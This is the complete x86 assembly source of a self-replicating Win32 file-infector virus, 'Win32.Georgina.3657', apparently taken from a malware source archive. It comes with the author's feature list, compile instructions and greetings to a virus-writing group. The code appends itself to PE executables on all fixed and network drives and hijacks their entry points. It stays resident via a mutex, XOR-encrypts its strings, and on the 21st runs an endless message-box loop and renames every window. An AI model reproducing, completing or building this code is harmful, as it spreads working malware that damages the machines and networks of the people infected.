MalwareSourceCode/Win32/Infector/Win32.Georgina.3657.asm
2020-10-16 23:26:21 +02:00

1125 lines
51 KiB
NASM

; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; @@ @@
; @@ Win32.Georgina.3657 @@
; @@ (C)0ded by KiNETiK @@
; @@ May, 2002 @@
; @@ @@
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;
;
;Hi guyz,
;
;Finally I finished coding my Win32.Georgina virus, so I can start to write a brief description:)
;This is Win32 per-process multithreaded resident virus, so every infected PE-file
;can launch its own copy of resident virus as soon as it determines that there's no
;other copy of virus running in memory.
;
;Brief Description
;-----------------
;
; - Win32 appending virus, appends the last section of PE-file (infects only PE *.exe files)
; - Infects Win9x/NT/2k/XP platforms (is not tested on WinME,but should work there too)
; - Infects PE-files compressed with various PE-compressors (e.g. UPX)
; - Infects all the logical drives, including network mapped drives
; - Puts infection mark at the end of the infected file, in order to avoid multiple
; infections (infection mark is an encrypted 12-byte string), also checks
; PE-files for validity
; - Per-process multithreaded residency, every running copy will be activated unless
; other copy of virus is running
; - Encrypted data strings (but not all strings are encrypted)
; - Undetectable by some antiviruses (can't insist that it won't be detected by ALL
; AVs)
; - The payload consists of two separate threads:
; 1) an infinite loop of a MessageBox, with the virus payload info written there
; 2) Every 8 seconds changes recursively all the window captions to the string
; "Georgina"
; - The virus has its main thread which launches the other threads or checks every
; second for the absence of other copy (if the other copy was running at the moment
; when the 2nd copy was executed)
; - Other features not mentioned here, just look at the source code and u'll
; understand everything:)
;
;The virus DOESN'T have any destructive features, there's no need in them:)
;The activation date is 21st of every month or September 21st (depends on version).
;I don't wanna write a long description of every step the virus does, I guess the comments
;in the source are enough:)
;
;Greetingz
;---------
;
;My warmest greetingz to Georgina !!!
;This virus is ***totally*** dedicated to Georgina, the woman who I love and will love forever...
;
;My best regardz and greetingz to 29A members, guyz you are really cool!
;
;
;(C)0ded by KiNETiK, May 2002 e-mail: kinetik_fire@yahoo.com
;
;Compiling
;---------
;Compile the source with TASM 5.0:
; tasm32 -ml -m5 -q -zn Georgina.asm
; tlink32 -Tpe -c -x -aa Georgina.obj,,, import32
; pewrsec.com Georgina.exe
;
;
; The code is not fully optimized yet (could be smaller).
; If u find any bugs or u have comments, feel free to contact me.
;;;;;;;;;;;;;;;;;;;;;;;;;
.586p
.model flat
include W32.inc
include Imghdr.inc
.data
; this stuff is for 1st generation only,for the MessageBox displaying the 1st generation info :)
szCaption db "Dear user:)",0h
szMessage db "Introducing Win32.Georgina virus!",0Dh
db "Congratulations! :) 1st generation is successfully launched! :)",0Dh,0Dh
db "(C)0ded by KiNETiK, May 2002",0Dh,0Dh
db "Dedicated to Georgina",0h
.code
main:
; Here is our virus code, the most difficult part to code:))
infect_section:
call delta_offset
delta_offset:
pop ebp
mov eax,ebp
sub eax,5h ; substract 5h due to call instruction (call delta_offset)
sub ebp,offset delta_offset
mov dword ptr [ebp+_EBP],ebp ; saving EBP in _EBP
mov dword ptr [ebp+_ImageBase],eax
call GetKernel32BaseAddress
mov dword ptr [ebp+K32Address],eax ; Saving found kernel base
mov esi,eax
call GetUsefulAPIz
call LaunchVirusMainThread
cmp ebp,0h ; if EBP=0 that means we r in the 1st generation
je _1st_generation ; jumping to the messagebox :)
jmp MainEnd ; jump back to the host
; GetKernel32BaseAddress
; Gets Kernel32 base address, return address in eax
GetKernel32BaseAddress proc
mov esi,[esp+4h] ; last item in stack is return address to CreateProcess API from Kernel32.dll
; adding 4h due to return EIP before calling this function
and esi,0FFFF0000h ; align it with page size, 4K (1000h), K32 is mapped at page start
mov ecx,40h ; scan backward up to 64 pages...
@K32Loop:
sub esi,1000h ; go back
dec ecx ; ecx is counter
cmp ecx,0h ; scanned all the area?
jz @K32NotFound ; yes, that means didn't get K32 address yet:( hardcode it:(
cmp word ptr [esi],"ZM" ; is it MZ executable?
jne @K32Loop ; no, tyry again; yes, go ahead
mov ebx,dword ptr [esi+3Ch] ; locate PE header...
cmp dword ptr [esi+ebx],"EP" ; it it really PE header?
je @K32Found ; wow! we found Kernel32 base address:)
loopnz @K32Loop ; main loop
@K32NotFound:
mov eax,0BFF70000h ; couldn't locate Kernel32 base
ret ; return hardcoded value for Win9x
@K32Found:
mov eax,esi
ret
GetKernel32BaseAddress endp
; GetK32APIAddress
; function gets API addresses
; esi = K32 base address, edi = funtion name string offset
GetK32APIAddress proc
push esi
mov edx,dword ptr [esi+3Ch] ; locating PE header
add edx,78h ; getting export table RVA
add esi,edx ; setting new offset
assume esi:ptr IMAGE_DATA_DIRECTORY ; ok, here we get into data
mov edx,[esi].VirtualAddress ; directory and locate export RVA
assume esi:
mov esi,dword ptr [ebp+K32Address] ; normalize it
add esi,edx
assume esi:ptr IMAGE_EXPORT_DIRECTORY ; prepair to get exports...
mov ecx,[esi].NumberOfFunctions ; getting number of exports
mov dword ptr [ebp+K32NumberOfExports],ecx
mov ebx,[esi].AddressOfFunctions ; Getting pointer to RVA of function addresses
mov edx,[esi].AddressOfNames ; Getting pointer to RVA of function names
mov eax,[esi].AddressOfNameOrdinals ; Getting pointer to RVA of name ordinals
assume esi:
push eax ; saving some stuff:)
mov esi,dword ptr [ebp+K32Address] ; locating and saving function export
add ebx,esi ; address for later use
mov dword ptr [ebp+K32ExportAddress],ebx
pop eax ; getting the ordinals' address
add eax,esi ; address for later use
mov dword ptr [ebp+K32OrdinalsAddress],eax
mov edx,[esi+edx] ; getting RVA where stored address
add esi,edx ; of name tables
@FindAPI:
push esi ; saving some stuff
mov edx,esi ; all these stuff is for parsing function names
@Loop1:
cmp byte ptr [esi],0h ; check whether we found null-terminator of the funciton name string
je @Loop2 ; yes, go ahead....
inc esi ; no, still scanning function name...
jmp @Loop1
@Loop2:
inc esi ; ok, we get function name size
sub esi,edx ; store it in ecx
mov ecx,esi
pop esi
cld ; clear direction flag
push esi ; saving all registers we need....
push edi
push ecx
repe cmpsb ; comparing function names (esi=current,edi=function to find)
pop ecx ; restoring all our regs...
pop edi
pop esi
je @APIFound ; found? ok, go ahead
add esi,ecx ; not found, continue scanning...
inc dword ptr [ebp+Counter] ; function exports counter...
mov eax,dword ptr [ebp+Counter] ; still have functions to scan?
mov eax,dword ptr [ebp+K32NumberOfExports] ; yes, continue
cmp dword ptr [ebp+Counter],eax ; no, damn, we failed:(
jge @APINotFound
jl @FindAPI
@APIFound:
mov eax,dword ptr [ebp+Counter] ; current function export number = Counter
shl eax,1 ; eax = eax * 2, add to ordinal address, get the
mov esi,dword ptr [ebp+K32OrdinalsAddress] ; function ordinal we need,
add esi,eax ; normalize it
lodsw ; get that value in ordinal...
shl eax,2 ; eax = eax * 4, locate correct item in export address table
mov esi,dword ptr [ebp+K32ExportAddress] ; get export address
add esi,eax ; normalize it
lodsd ; get the function entry-point we need!
add eax,dword ptr [ebp+K32Address] ; normalize it...
mov dword ptr [ebp+Counter],0h
pop esi
ret ; ohhh,finally we found it and getting out fom here:)
@APINotFound:
mov eax,00000000h ; we didn't find anything...returning error (0h)
pop esi
ret
GetK32APIAddress endp
;Getting all useful APIz we need...
GetUsefulAPIz proc
; Now we get useful functions from Kernel32
lea edi,[ebp+szGetProcAddress] ; edi must have offset of the function name to find
call GetK32APIAddress
mov dword ptr [ebp+_GetProcAddress],eax
lea edi,[ebp+szGetModuleHandleA]
call GetK32APIAddress
mov dword ptr [ebp+_GetModuleHandleA],eax
lea edi,[ebp+szLoadLibraryA]
call GetK32APIAddress
mov dword ptr [ebp+_LoadLibraryA],eax
lea edi,[ebp+szGetFileAttributesA]
call GetK32APIAddress
mov dword ptr [ebp+_GetFileAttributesA],eax
lea edi,[ebp+szSetFileAttributesA]
call GetK32APIAddress
mov dword ptr [ebp+_SetFileAttributesA],eax
lea edi,[ebp+szCreateFileA]
call GetK32APIAddress
mov dword ptr [ebp+_CreateFileA],eax
lea edi,[ebp+szCreateFileMappingA]
call GetK32APIAddress
mov dword ptr [ebp+_CreateFileMappingA],eax
lea edi,[ebp+szMapViewOfFile]
call GetK32APIAddress
mov dword ptr [ebp+_MapViewOfFile],eax
lea edi,[ebp+szUnmapViewOfFile]
call GetK32APIAddress
mov dword ptr [ebp+_UnmapViewOfFile],eax
lea edi,[ebp+szFindFirstFileA]
call GetK32APIAddress
mov dword ptr [ebp+_FindFirstFileA],eax
lea edi,[ebp+szFindNextFileA]
call GetK32APIAddress
mov dword ptr [ebp+_FindNextFileA],eax
lea edi,[ebp+szFindClose]
call GetK32APIAddress
mov dword ptr [ebp+_FindClose],eax
lea edi,[ebp+szSetCurrentDirectoryA]
call GetK32APIAddress
mov dword ptr [ebp+_SetCurrentDirectoryA],eax
lea edi,[ebp+szGetLocalTime]
call GetK32APIAddress
mov dword ptr [ebp+_GetLocalTime],eax
lea edi,[ebp+szCreateThread]
call GetK32APIAddress
mov dword ptr [ebp+_CreateThread],eax
lea edi,[ebp+szSetThreadPriority]
call GetK32APIAddress
mov dword ptr [ebp+_SetThreadPriority],eax
lea edi,[ebp+szResumeThread]
call GetK32APIAddress
mov dword ptr [ebp+_ResumeThread],eax
lea edi,[ebp+szCreateMutexA]
call GetK32APIAddress
mov dword ptr [ebp+_CreateMutexA],eax
lea edi,[ebp+szOpenMutexA]
call GetK32APIAddress
mov dword ptr [ebp+_OpenMutexA],eax
lea edi,[ebp+szSleep]
call GetK32APIAddress
mov dword ptr [ebp+_Sleep],eax
lea edi,[ebp+szGetLogicalDrives]
call GetK32APIAddress
mov dword ptr [ebp+_GetLogicalDrives],eax
lea edi,[ebp+szGetDriveTypeA]
call GetK32APIAddress
mov dword ptr [ebp+_GetDriveTypeA],eax
lea edi,[ebp+szGetFileSize]
call GetK32APIAddress
mov dword ptr [ebp+_GetFileSize],eax
lea edi,[ebp+szCloseHandle]
call GetK32APIAddress
mov dword ptr [ebp+_CloseHandle],eax
lea edi,[ebp+szVirtualAlloc]
call GetK32APIAddress
mov dword ptr [ebp+_VirtualAlloc],eax
;Now we check/load User32.dll for getting functions from it
lea eax,[ebp+szUser32Dll]
push eax
call [ebp+_GetModuleHandleA]
cmp eax,00000000h
jne @_U32Found
lea eax,[ebp+szUser32Dll]
push eax
call [ebp+_LoadLibraryA]
cmp eax,00000000h
je MainEnd
lea eax,[ebp+szUser32Dll]
push eax
call [ebp+_GetModuleHandleA]
cmp eax,00000000h
jne @_U32Found
je MainEnd
@_U32Found:
;now we get useful functions from User32
mov dword ptr [ebp+U32Address],eax
lea eax,[ebp+szMessageBoxA]
push eax
push [ebp+U32Address]
call [ebp+_GetProcAddress]
mov dword ptr [ebp+_MessageBoxA],eax
lea eax,[ebp+szSetWindowTextA]
push eax
push [ebp+U32Address]
call [ebp+_GetProcAddress]
mov dword ptr [ebp+_SetWindowTextA],eax
lea eax,[ebp+szGetTopWindow]
push eax
push [ebp+U32Address]
call [ebp+_GetProcAddress]
mov dword ptr [ebp+_GetTopWindow],eax
lea eax,[ebp+szGetWindow]
push eax
push [ebp+U32Address]
call [ebp+_GetProcAddress]
mov dword ptr [ebp+_GetWindow],eax
ret ; end of looking for all API function addresses we need
GetUsefulAPIz endp
;edi = filename address
InfectFile proc ; function that infects single file
pushad
; initting vars
xor eax,eax
mov dword ptr [ebp+pMemory],eax
mov dword ptr [ebp+FileHandle],eax
mov dword ptr [ebp+FileMappedHandle],eax
; Clearing & storing fileattributes
push edi
call [ebp+_GetFileAttributesA]
mov dword ptr [ebp+FileAttrib],eax
push FILE_ATTRIBUTE_NORMAL
push edi
call [ebp+_SetFileAttributesA]
; File attributes are cleared and stored now...
call [ebp+_CreateFileA],edi,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0
cmp eax,INVALID_HANDLE_VALUE
je @_InfectFailure
mov dword ptr [ebp+FileHandle],eax ; Getting file size, calulating
push 0h
push [ebp+FileHandle]
call [ebp+_GetFileSize] ; new file size, need for mapping it
cmp eax,-1
je @_InfectFailure
mov dword ptr [ebp+FileSize],eax
cmp [ebp+FileSize],3Ch ; we r sure that PE file can't be so small,
jbe @_InfectFailure ; actually it's an additional check of PE validity
; Checking if MZ/PE file and already infected or not
push 0h
push [ebp+FileSize]
push 0h
push PAGE_READONLY
push 0h
push [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
cmp eax,0h
je @_InfectFailure
mov dword ptr [ebp+FileMappedHandle],eax
push 0h
push 0h
push 0h
push FILE_MAP_READ
push [ebp+FileMappedHandle]
call [ebp+_MapViewOfFile]
cmp eax,0h
je @_InfectFailure
mov esi,eax
mov dword ptr [ebp+pMemory],esi
cmp word ptr [esi],IMAGE_DOS_SIGNATURE ; Checking if the file iz valid MZ
jne @_InfectFailure ; executable, if so we are trying
mov eax,dword ptr [esi+03Ch] ; to locate the PE header offset
mov dword ptr [ebp+PEHdrOffset],eax
mov ebx,[ebp+FileSize] ; checking the validy of MZ/PE file
cmp ebx,eax ; by comparing file size and possible
jbe @_InfectFailure ; PE header and start offsets
add esi,eax
xor eax,eax
cmp word ptr [esi],IMAGE_NT_SIGNATURE ; Checking if valid PE, if so,
jne @_InfectFailure ; starting PE header midifications...
; if not, return error
assume esi: ; checking if PE file is already infected or not
mov esi,dword ptr [ebp+pMemory] ; At the end of PE file we put special magic
mov eax,dword ptr [ebp+FileSize] ; bytes,thus generating infection mark
sub eax,12
add esi,eax
cmp dword ptr [esi],0CFED8A8Ah ; magic bytes
jne @InfectionStart
cmp dword ptr [esi+4],0C3CDD8C5h ; magic bytes
jne @InfectionStart
cmp dword ptr [esi+8],8A8ACBC4h ; magic bytes
je @_InfectFailure
; End of checking whether MZ/PE and already infected or not
@InfectionStart:
; Starting infection here
push edi
xor eax,eax
mov eax,dword ptr [ebp+FileSize]
add eax,INFECTLENGTH + 12 ; We store infection mark here in additional 12 bytes
push 0h
push eax
push 0h
push PAGE_READWRITE
push 0h
push [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
cmp eax,0h
je @_InfectFailure
mov dword ptr [ebp+FileMappedHandle],eax
push 0h
push 0h
push 0h
push FILE_MAP_ALL_ACCESS
push [ebp+FileMappedHandle]
call [ebp+_MapViewOfFile]
cmp eax,0h
je @_InfectFailure
mov esi,eax
mov dword ptr [ebp+pMemory],esi
mov eax,dword ptr [esi+03Ch] ; locating the PE header offset
mov dword ptr [ebp+PEHdrOffset],eax ; saving it
add esi,eax ; normalizing the address
xor eax,eax
assume esi: ptr IMAGE_NT_HEADERS
mov ax,[esi].FileHeader.NumberOfSections ; Modifying PE header
mov dword ptr [ebp+SectionsNum],eax ; Getting sections number
mov eax,[esi].OptionalHeader.AddressOfEntryPoint ; Getting entry-point
mov dword ptr [ebp+OldEntryPoint],eax
mov eax,[esi].OptionalHeader.FileAlignment
mov dword ptr [ebp+dFileAlignment],eax
assume esi:
xor eax,eax
mov esi,dword ptr [ebp+pMemory] ; points to file start
add esi,dword ptr [ebp+PEHdrOffset] ; points to PE header start
mov ax,word ptr [esi+14h] ; getting IOH size
add esi,18h ; adding IFH size
add esi,eax ; calculating the overall offset
mov eax,28h ; one section's size=28h
mov ecx,dword ptr [ebp+SectionsNum] ; how many sections
dec ecx
imul ecx ; multiplying, section_num * section_size
add esi,eax ; getting last section's offset
assume esi: ptr IMAGE_SECTION_HEADER
push esi
mov eax,[esi].SVirtualAddress ; will use it later
push eax
mov edx,dword ptr [ebp+FileSize] ; here we calculate SizeOfRawData and save it
sub edx,[esi].PointerToRawData ; for later use
push edx
add edx,INFECTLENGTH ; add infection block (virus) size
mov [esi].SVirtualSize,edx ; save this value in VirtualSize and
mov [esi].SizeOfRawData,edx ; SizeOfRawData fields
mov eax,[esi].SVirtualSize ; starting to calculate new SizeOfImageValue ...
add eax,[esi].SVirtualAddress
assume esi: ; normalze the pointer, so we are at the field that
mov esi,dword ptr [ebp+pMemory] ; we'r gonna modify
add esi,dword ptr [ebp+PEHdrOffset]
assume esi: ptr IMAGE_NT_HEADERS
mov [esi].OptionalHeader.SizeOfImage,eax
pop edx ; restoring SizeOfRawData value
pop eax ; ..and VirtualAddress value
add eax,edx ; add them,and...
mov [esi].OptionalHeader.AddressOfEntryPoint,eax ; we get new entry-point
mov dword ptr [ebp+_EntryPoint],eax ; Another correct way to get the return point to host
pop esi
mov eax,CHARSNEW ; new characteristics for section
mov [esi].SFlags,eax
assume esi:
mov ecx,INFECTLENGTH ; infecting section size
mov edi,dword ptr [ebp+pMemory] ; prepare to add the last section
add edi,dword ptr [ebp+FileSize] ; where to copy
lea eax,[ebp+infect_section] ; getting section's address
mov esi,eax ; setting up destination address
rep movsb ; copying bytes...
; Adding infection mark, encrypted string...
lea esi,[ebp+InfectionMark]
mov ecx,12
rep movsb
; Infection mark added...
pop edi
popad
mov eax,1h
@InfectFailure:
push eax
mov eax,dword ptr [ebp+pMemory]
cmp eax,0h
je @InfectFailure1
push [ebp+pMemory]
call [ebp+_UnmapViewOfFile]
@InfectFailure1:
mov eax,dword ptr [ebp+FileMappedHandle]
cmp eax,0h
je @InfectFailure2
push [ebp+FileMappedHandle]
call [ebp+_CloseHandle]
@InfectFailure2:
mov eax,dword ptr [ebp+FileHandle]
cmp eax,0h
je @InfectFailure3
push [ebp+FileHandle]
call [ebp+_CloseHandle]
@InfectFailure3:
push [ebp+FileAttrib]
push edi
call [ebp+_SetFileAttributesA]
pop eax
ret
@_InfectFailure:
popad
mov eax,0h
jmp @InfectFailure
InfectFile endp
; Infects the given path recursively...
; I'm not gonna comment all the lines in this function, it's really annoying to code stuff like this, so
; if you wanna understand it better, I guess it's easier to code this function in C/C++ and then
; translate it to ASM, this way will take less time:)
; edi = path to infect
InfectPath proc
push [ebp+FindHandle]
push edi
call [ebp+_SetCurrentDirectoryA]
cmp eax,0h
je @ExitInfectPath2
lea ebx,[ebp+offset FindResult]
push ebx
lea ebx,[ebp+offset szEXEMask]
push ebx
call [ebp+_FindFirstFileA]
mov [ebp+FindHandle],eax
cmp eax,INVALID_HANDLE_VALUE
je @DirLoop
lea esi,[ebp+FindResult]
assume esi: ptr WIN32_FIND_DATA
lea edi,[ebp+FindResult.fd_cFileName]
call InfectFile
mov ecx,MAX_PATH
xor al,al
rep stosb
@NextLoop1:
lea ebx,[ebp+offset FindResult]
push ebx
push [ebp+FindHandle]
call [ebp+_FindNextFileA]
cmp eax,0h
je @DirLoop
push eax
lea edi,[ebp+FindResult.fd_cFileName]
call InfectFile
mov ecx,MAX_PATH
xor al,al
rep stosb
pop eax
cmp eax,0h
jne @NextLoop1
@DirLoop:
push [ebp+FindHandle]
call [ebp+_FindClose]
lea ebx,[ebp+offset FindResult]
push ebx
lea ebx,[ebp+offset szGlobalMask]
push ebx
call [ebp+_FindFirstFileA]
mov [ebp+FindHandle],eax
cmp eax,INVALID_HANDLE_VALUE
je @ExitInfectPath1
@NextLoop2:
lea esi,[ebp+FindResult]
assume esi: ptr WIN32_FIND_DATA
mov edx,[esi].fd_dwFileAttributes
and edx,FILE_ATTRIBUTE_DIRECTORY
cmp edx,0h
je @NextLoop2Jump
cmp [esi].fd_cFileName,2Eh ; ASCII for '.'
je @NextLoop2Jump
lea edi,[ebp+FindResult.fd_cFileName]
call InfectPath
@NextLoop2Jump:
lea ebx,[ebp+offset FindResult]
push ebx
push [ebp+FindHandle]
call [ebp+_FindNextFileA]
cmp eax,0h
jnz @NextLoop2
@ExitInfectPath1:
lea ebx,[ebp+offset szUpDir]
push ebx
call [ebp+_SetCurrentDirectoryA]
push [ebp+FindHandle]
call [ebp+_FindClose]
@ExitInfectPath2:
pop [ebp+FindHandle]
ret
InfectPath endp
; this is the payload
PayLoad proc
pushad
lea ebx,[ebp+offset Time] ; getting system date/time
push ebx ; using API GetLocalTime
call [ebp+_GetLocalTime]
;mov bx,[ebp+Time.st_wMonth] ; launching the visual payload when it's the right date
;cmp bx,9 ; we check here the month,in this version will work on 21st of every month
;jne @SkipPayloadKernel ; otherwise skip visual payload
mov bx,[ebp+Time.st_wDay]
cmp bx,21
jne @SkipPayloadKernel
@PayloadKernel:
lea ebx,[ebp+offset ThreadID1] ; launching a thread which nags the user with a messagebox
push ebx
push 0h
lea ebx,[ebp+_EBP]
push ebx
lea ebx,[ebp+offset FuckingNagger]
push ebx
push 0h
push 0h
call [ebp+_CreateThread]
lea ebx,[ebp+offset ThreadID2] ; launching a thread which periodically changes captions of all
push ebx ; active windows possible
push 0h
lea ebx,[ebp+_EBP]
push ebx
lea ebx,[ebp+offset Win32GeorginaPayload]
push ebx
push 0h
push 0h
call [ebp+_CreateThread]
@SkipPayloadKernel:
popad
ret
PayLoad endp
; edi = handle of the most parent window to change the captions
ChangeWndText proc
cmp edi,0h
je @CWT1
lea ebx,[ebp+offset szGeorgina] ; changes window's caption
push ebx
push edi
call [ebp+_SetWindowTextA]
@CWT1:
push edi
call [ebp+_GetTopWindow] ; getting top window
cmp eax,0h
je @CWT2
push edi
mov edi,eax
call ChangeWndText ; recursively change the window caption of sub-windows
pop edi
@CWT2:
push 2h ; 2h = GW_HWNDNEXT
push edi
call [ebp+_GetWindow] ; recursively change the window caption of sub-windows,
cmp eax,0h ; iteration over next windows...
je @CWT3
push edi
mov edi,eax
call ChangeWndText ; ...and again entering the recursive part
pop edi
@CWT3:
ret
ChangeWndText endp
FuckingNagger proc
pushad
; Here we try to get parameter EBP passed to the new thread...
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
mov ebp,[ebp]
push PAGE_READWRITE ; allocating virtual memory to decrypt the payload message
push MEM_COMMIT
push 100h
push 0h
call [ebp+_VirtualAlloc]
cmp eax,0h
je @_not_alloced
mov [ebp+pVirtualMemory],eax
jmp @_alloced
@_not_alloced:
lea eax,[ebp+offset szVirus]
mov [ebp+pVirtualMemory],eax
@_alloced:
call CryptVirusMessage ; decrypting payload message
@FuckingNagger:
push 0h ; running forever loop of messagebox :)
lea ebx,[ebp+offset szGeorgina]
push ebx
push [ebp+pVirtualMemory]
push 0h
call [ebp+_MessageBoxA]
jmp @FuckingNagger
pushad
ret
FuckingNagger endp
Win32GeorginaPayload proc
pushad
; Here we try to get parameter EBP passed to the new thread...
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
mov ebp,[ebp]
@ForeverPayload:
xor edi,edi
call ChangeWndText
push 8000 ; 8 seconds of delay between each update of the window captions
call [ebp+_Sleep]
jmp @ForeverPayload
popad
ret
Win32GeorginaPayload endp
CryptVirusMessage proc
pushad
; Decrypting virus message string
lea esi,[ebp+offset szVirus]
mov edi,[ebp+pVirtualMemory]
xor ecx,ecx
mov cl,szVirusMsgSize
cld
@decrypt:
lodsb ; performing simple XOR crypt/decrypt
xor al,0AAh
stosb
loopnz @decrypt
popad
ret
CryptVirusMessage endp
CryptMutexName proc
pushad
; Decrypting mutex name string....
lea esi,[ebp+offset szMutexName]
mov edi,esi
xor ecx,ecx
mov cl,MutexNameSize
cld
@_decrypt_mutex:
lodsb ; performing simple XOR crypt/decrypt
xor al,0AAh
stosb
loopnz @_decrypt_mutex
popad
ret
CryptMutexName endp
CheckForCopies proc ; checks whether other resident copy of virus is running
call CryptMutexName ; decrypts mutex name
lea ebx,[ebp+offset szMutexName] ; mutex is used to determine the presence of other copy
push ebx
push 0h
push 1F0001h ; 1F0001h = MUTEX_ALL_ACCESS
call [ebp+_OpenMutexA] ; OpenMutexA returns handle to mutex it it exists already
cmp eax,0h ; if there's no mutex,try to create it...
jne @_mutex_exists
push ebx ; creating mutex...
push 1h
push 0h
call [ebp+_CreateMutexA]
cmp eax,0h
je @_no_mutex_created
jne @_mutex_created
@_no_mutex_created:
call CryptMutexName
mov eax,0FFFFFFFEh ; error, no mutex exists and can't be created
ret
@_mutex_exists:
push eax ; IMPORTANT!!! to close opened mutex handle in order for system to kill the
call [ebp+_CloseHandle] ; the mutex which is always checked as a residency flag!
call CryptMutexName
mov eax,0FFFFFFFFh ; error, mutex exists and can't be created
ret
@_mutex_created:
call CryptMutexName
mov eax,0h ; success, there was no mutex in the system and it has been just created
ret
CheckForCopies endp
StartInfection proc
pushad
; Here we try to get parameter EBP passed to the new thread...
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
mov ebp,[ebp]
call [ebp+_GetLogicalDrives] ; getting logical drives....
mov ebx,eax
xor ecx,ecx
@DriveLoop:
push ecx ; and checking whether it's HD or netwrok drive...
mov edx,1h
shl edx,cl
push ebx
and ebx,edx
cmp ebx,0h
je @_do_not_infect_disk
mov edx,65 ; ASCII for 'A'
add edx,ecx
lea edi,[ebp+offset szDestDir]
mov [edi],dl
push edi
call [ebp+_GetDriveTypeA]
cmp eax,3h ; DRIVE_FIXED = 3, according to WinBase.h
je @_infect_disk
cmp eax,4h ; DRIVE_REMOTE = 4, according to WinBase.h
je @_infect_disk
jmp @_do_not_infect_disk
@_infect_disk:
lea edi,[ebp+offset szDestDir]
call InfectPath
@_do_not_infect_disk:
pop ebx
pop ecx
inc ecx
cmp ecx,32
jl @DriveLoop
popad
ret
StartInfection endp
VirusMainThread proc ;if no other copy of virus is running then spawns the infector and the payload
pushad
; Here we try to get parameter EBP passed to the new thread...
mov ebp,[ebp+0Ch] ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
mov ebp,[ebp]
@MainLoop:
call CheckForCopies
cmp eax,0h
je @StartAllSubRoutines
push 1000 ; Sleeping 1 second(s) before performing next check of running copies
call [ebp+_Sleep]
jmp @MainLoop
@StartAllSubRoutines:
; starting the low priority thread for infecting
lea ebx,[ebp+offset ThreadID3]
push ebx
push CREATE_SUSPENDED ; 0h is when u need to run the thread immediately
lea ebx,[ebp+_EBP]
push ebx
lea ebx,[ebp+offset StartInfection]
push ebx
push 0h
push 0h
call [ebp+_CreateThread]
cmp eax,0
je @VirusMainThreadEnd
push eax
push THREAD_PRIORITY_BELOW_NORMAL
push eax
call [ebp+_SetThreadPriority]
call [ebp+_ResumeThread]
; end of starting for the low priority thread for infecting
; starting the payload (it'll decide itself to continue or to stop)
call PayLoad
; exitting our virus main thread, we consider all jobs are done and all the threads are launched!
@VirusMainThreadEnd:
popad
ret
VirusMainThread endp
LaunchVirusMainThread proc ; launching viri's main thread...
pushad
lea ebx,[ebp+offset ThreadID3]
push ebx
push 0h
lea ebx,[ebp+_EBP]
push ebx
lea ebx,[ebp+offset VirusMainThread]
push ebx
push 0h
push 0h
call [ebp+_CreateThread]
popad
ret
LaunchVirusMainThread endp
MainEnd:
mov eax,dword ptr [ebp+_ImageBase] ; virus start point...
sub eax,dword ptr [ebp+_EntryPoint] ; substracting virus entry-point, thus getting ImageBase
add eax,dword ptr [ebp+OldEntryPoint] ; adding old entry-point, thus jumping back to the host
jmp eax
OldEntryPoint dd 0 ; host's old entry-point
K32Address dd ?
K32ExportAddress dd ?
K32OrdinalsAddress dd ?
K32NumberOfExports dd ?
Counter dd 0h
;APIz that I need in my virus
U32Address dd ?
szUser32Dll db "USER32.DLL",0h
szGetProcAddress db "GetProcAddress",0h
szGetModuleHandleA db "GetModuleHandleA",0h
szLoadLibraryA db "LoadLibraryA",0h
szGetFileAttributesA db "GetFileAttributesA",0h
szSetFileAttributesA db "SetFileAttributesA",0h
szCreateFileA db "CreateFileA",0h
szCreateFileMappingA db "CreateFileMappingA",0h
szMapViewOfFile db "MapViewOfFile",0h
szUnmapViewOfFile db "UnmapViewOfFile",0h
szFindFirstFileA db "FindFirstFileA",0h
szFindNextFileA db "FindNextFileA",0h
szFindClose db "FindClose",0h
szSetCurrentDirectoryA db "SetCurrentDirectoryA",0h
szGetLocalTime db "GetLocalTime",0h
szCreateThread db "CreateThread",0h
szSetThreadPriority db "SetThreadPriority",0h
szResumeThread db "ResumeThread",0h
szCreateMutexA db "CreateMutexA",0h
szOpenMutexA db "OpenMutexA",0h
szSleep db "Sleep",0h
szGetLogicalDrives db "GetLogicalDrives",0h
szGetDriveTypeA db "GetDriveTypeA",0h
szGetFileSize db "GetFileSize",0h
szCloseHandle db "CloseHandle",0h
szVirtualAlloc db "VirtualAlloc",0h
szMessageBoxA db "MessageBoxA",0h
szSetWindowTextA db "SetWindowTextA",0h
szGetTopWindow db "GetTopWindow",0h
szGetWindow db "GetWindow",0h
_GetProcAddress dd ?
_GetModuleHandleA dd ?
_LoadLibraryA dd ?
_GetFileAttributesA dd ?
_SetFileAttributesA dd ?
_CreateFileA dd ?
_CreateFileMappingA dd ?
_MapViewOfFile dd ?
_UnmapViewOfFile dd ?
_FindFirstFileA dd ?
_FindNextFileA dd ?
_FindClose dd ?
_SetCurrentDirectoryA dd ?
_GetLocalTime dd ?
_CreateThread dd ?
_SetThreadPriority dd ?
_ResumeThread dd ?
_CreateMutexA dd ?
_OpenMutexA dd ?
_Sleep dd ?
_GetLogicalDrives dd ?
_GetDriveTypeA dd ?
_GetFileSize dd ?
_CloseHandle dd ?
_VirtualAlloc dd ?
_MessageBoxA dd ?
_SetWindowTextA dd ?
_GetTopWindow dd ?
_GetWindow dd ?
InfectionMark db 08Ah,08Ah,0EDh,0CFh,0C5h,0D8h,0CDh,0C3h,0C4h,0CBh,08Ah,08Ah
FileHandle dd INVALID_HANDLE_VALUE
FileSize dd 0h
pMemory dd 0h
PEHdrOffset dd 0h
SectionsNum dd 0h
ImageSize dd 0h
dFileAlignment dd 0h
FileMappedHandle dd 0h
FileAttrib dd 0h
pVirtualMemory dd 0h
szDestDir db "c:\",0h
FindHandle dd 0h
FHandle dd 0h
FindResult WIN32_FIND_DATA ?
szEXEMask db "*.exe",0h
szGlobalMask db "*",0h
szUpDir db "..",0h
szGeorgina db "Georgina",0h
